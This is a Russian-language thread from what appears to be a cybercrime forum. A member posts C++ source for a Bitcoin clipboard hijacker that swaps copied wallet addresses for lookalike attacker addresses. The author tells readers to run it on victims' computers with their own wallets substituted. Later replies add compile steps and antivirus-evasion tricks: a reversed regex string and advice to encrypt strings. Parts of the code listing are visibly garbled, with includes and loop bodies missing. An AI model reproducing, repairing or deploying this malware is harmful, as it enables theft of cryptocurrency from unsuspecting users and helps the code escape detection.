What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Клиппер бесплатно

MrBang

Midle Weight
Депозит
$0
Всем кукусики, сижу я значит вечерком с пивасом и мне стало скучно, так что написал клиппер.

если скопируете скажем send money to this address "1A5Qbzg6LSXUXyXu2MDuGfzxwMA7do8zAL","3A98t1WpEZ73CNmQviecrnyiWrnqRhWNAy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqdA"
то получите
send money to this address "1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
c++,visual studio,C11 standard

C++:
Скопировать в буфер обмена
#define NOMINMAX
#include
#include
#include
#include
#include
#include
#include
std::string globbuff = "";
int levenshteinDistance(const std::string& s1, const std::string& s2) {
const int len1 = s1.size();
const int len2 = s2.size();

std::vector> dp(len1 + 1, std::vector(len2 + 1, 0));

for (int i = 0; i (GlobalLock(hg));
memcpy(globalLock, s.c_str(), s.size());
GlobalUnlock(hg);

if (!SetClipboardData(CF_TEXT, hg)) {
CloseClipboard();
return false;
}

CloseClipboard();
return true;
}

void CheckBit(std::string& text) {

// Регулярное выражение для поиска биткоин-адресов
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");

std::smatch matches;
size_t lastPos = 0;

while (true) {
std::string tempText = text.substr(lastPos);
if (!std::regex_search(tempText, matches, bitcoinRegex)) {
break;
}

std::string k = matches[0].str();

std::vector texts = {
"1N5Qbzg6LSXUXyXu2MDuGfzxwMA7do8z1L","3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy","1NAQbzg6LSXUXyXu2MDuGfzxwMA7do8d3L","bc1qfg9t7fwn0atn4yf9spca5502vk8dyhq8a9aqd8"
};

int minDistance = std::numeric_limits::max();
std::string closestText;

for (const std::string& t : texts) {
int distance = levenshteinDistance(k, t);
if (distance (GlobalLock(hData));
if (pszText != NULL) {
std::string clipboardText = pszText;
GlobalUnlock(hData);
if (clipboardText != globbuff)
CheckBit(clipboardText);
}
}
CloseClipboard();
}
Sleep(500); // Пауза в полсекунды
}
return 0;
}
 
О_о скомпилить, и запустить у челов на пк.
ну разумеется заменить кошели на свои.
как только они скопируют кошели для перевода, кошель автоматом заменится на твой.
 
MrBang сказал(а):
О_о скомпилить, и запустить у челов на пк.
ну разумеется заменить кошели на свои.
как только они скопируют кошели для перевода, кошель автоматом заменится на твой.

интересует конкретно "скомпилить"
все остальное понятно, не разу с этим не сталкивался, если можешь вкратце расскажи
 
Устанавливаете Visual Studio, и нужные компоненты для c++(вы увидите при инсталяции)
создаёте проект c++ вставляете код компилируете,вуаля!
Если возникают ошибки, заходим в properties -> c++ -> language - > c(с)++ standard -> там ставим не меньше C11
незабывайте переключиться из Debug в release
 
небольшая чисточка,отвалятся несколько аверов, в функции CheckBit
замените
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
на

std::string reversedPattern = ")}93{]z-aZ-A9-0[1cb|)}43,52{]9-1Z-PN-JH-Az-mk-a[]31[((";
std::string normalPattern = std::string(reversedPattern.rbegin(), reversedPattern.rend());
std::regex bitcoinRegex(normalPattern);
 
MrBang сказал(а):
a little cleaning, a few avers will fall off, in the CheckBit function
replace
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
on

std::string reversedPattern = ")}93{]z-aZ-A9-0[1cb|)}43,52{]9-1Z-PN-JH-Az-mk-a[]31[((";
std::string normalPattern = std::string(reversedPattern.rbegin(), reversedPattern.rend());
std::regex bitcoinRegex(normalPattern);


Could you share updated version of the code ?
 
MrBang сказал(а):
небольшая чисточка,отвалятся несколько аверов, в функции CheckBit
замените
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");
на

std::string reversedPattern = ")}93{]z-aZ-A9-0[1cb|)}43,52{]9-1Z-PN-JH-Az-mk-a[]31[((";
std::string normalPattern = std::string(reversedPattern.rbegin(), reversedPattern.rend());
std::regex bitcoinRegex(normalPattern);
Returns true if a match exists, false otherwise
Пожалуйста, обратите внимание, что пользователь заблокирован

Зачем страдать такой фигней? Просто пошифруй строки

C++:
Скопировать в буфер обмена
void CheckBit(std::string& text) {

// Регулярное выражение для поиска биткоин-адресов
std::regex bitcoinRegex(R"(([13][a-km-zA-HJ-NP-Z1-9]{25,34})|bc1[0-9A-Za-z]{39})");

std::smatch matches;
size_t lastPos = 0;

while (true) {
std::string tempText = text.substr(lastPos);
if (!std::regex_search(tempText, matches, bitcoinRegex)) {
break;
}

Тут ты выходишь из бесконечного цикла мониторинга буфера обмена, если в буфере не будет найден биткоин кошелек. В чем прикол?
Цитирую документацию regex_search
 
Цикл while в функции CheckBit предназначен для поиска всех биткоин-адресов в строке.
Поэтому если в текущей подстроке биткоин-адрес не найден цикл прерывается.
Это не означает выход из бесконечного цикла мониторинга буфера обмена это просто означает что в текущем содержимом буфера больше нет биткоин-адресов для обработки.

Шифрацию строк можно было сделать через XOR,но я тупо не стал заморачиваться) смысл если можно сделать проще)
 
Top